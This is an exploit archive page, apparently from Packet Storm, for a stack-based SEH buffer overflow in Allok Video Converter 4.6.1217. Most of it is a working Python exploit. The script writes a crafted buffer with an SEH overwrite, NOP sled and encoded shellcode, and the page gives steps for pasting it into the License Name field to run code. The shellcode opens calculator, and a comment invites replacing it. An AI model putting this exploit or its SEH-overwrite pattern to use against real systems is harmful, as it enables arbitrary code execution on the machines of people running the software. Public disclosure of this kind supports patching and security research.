Twenty Year Anniversary

Allok Quicktime To AVI MPEG DVD Converter 4.6.1217 Buffer Overflow

Allok Quicktime To AVI MPEG DVD Converter 4.6.1217 Buffer Overflow
Posted Mar 23, 2018
Authored by Velayutham Selvaraj, Mohan Ravichandran

Allok Quicktime to AVI MPEG DVD Converter version 4.6.1217 suffers from a stack-based buffer overflow vulnerability.

tags | exploit, overflow
MD5 | 24d9f8804241491b78178e44739d1cc8

Allok Quicktime To AVI MPEG DVD Converter 4.6.1217 Buffer Overflow

Change Mirror Download
# SWAMI KARUPASAMI THUNAI

###############################################################################
# Exploit Title: Allok Video Converter - Buffer Overflow Vulnerability (Windows XP SP3)
# Date: 06-03-2018
# Exploit Author: Mohan Ravichandran & Velayutham Selvaraj
# Organization : TwinTech Solutions
# Vulnerable Software: Allok Video Converter
# Vendor Homepage: http://www.alloksoft.com
# Version: 4.6.1217
# Software Link: http://www.alloksoft.com/allok_vconverter.exe
# Tested On: Windows XP Service Pack 3 (Version 2002)
#
# Credit to Velayutham Selvaraj for discovering the Vulnerbility
# Vulnerability Disclosure Date : 2018-03-06
#
# Manual steps to reproduce the vulnerability ...
#1. Download and install the "setup(allok_vconverter.exe)" file
#2. Run this exploit code via python 2.7
#3. A file "exploit.txt" will be created
#4. Copy the contents of the file and paste in the License Name field
# Name > exploit.txt
#5. Type some random character in License Code
#6. Click Register and voila !
#7. Boom calculator opens
#
##############################################################################
import struct

file = open("exploit.txt","wb")
buflen = 4000
junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh = struct.pack("<L",0x10019A09)
nops = "\x90" * 20
# The below shellcode will open calculator, but can be modified by need.
shellcode = ""
shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
shellcode +="\xc4\xd9"
exploit = junk + nseh + seh + nops + shellcode
fillers = buflen - len(exploit)
buf = exploit + "D" * fillers
file.write(buf)
file.close()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    61 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close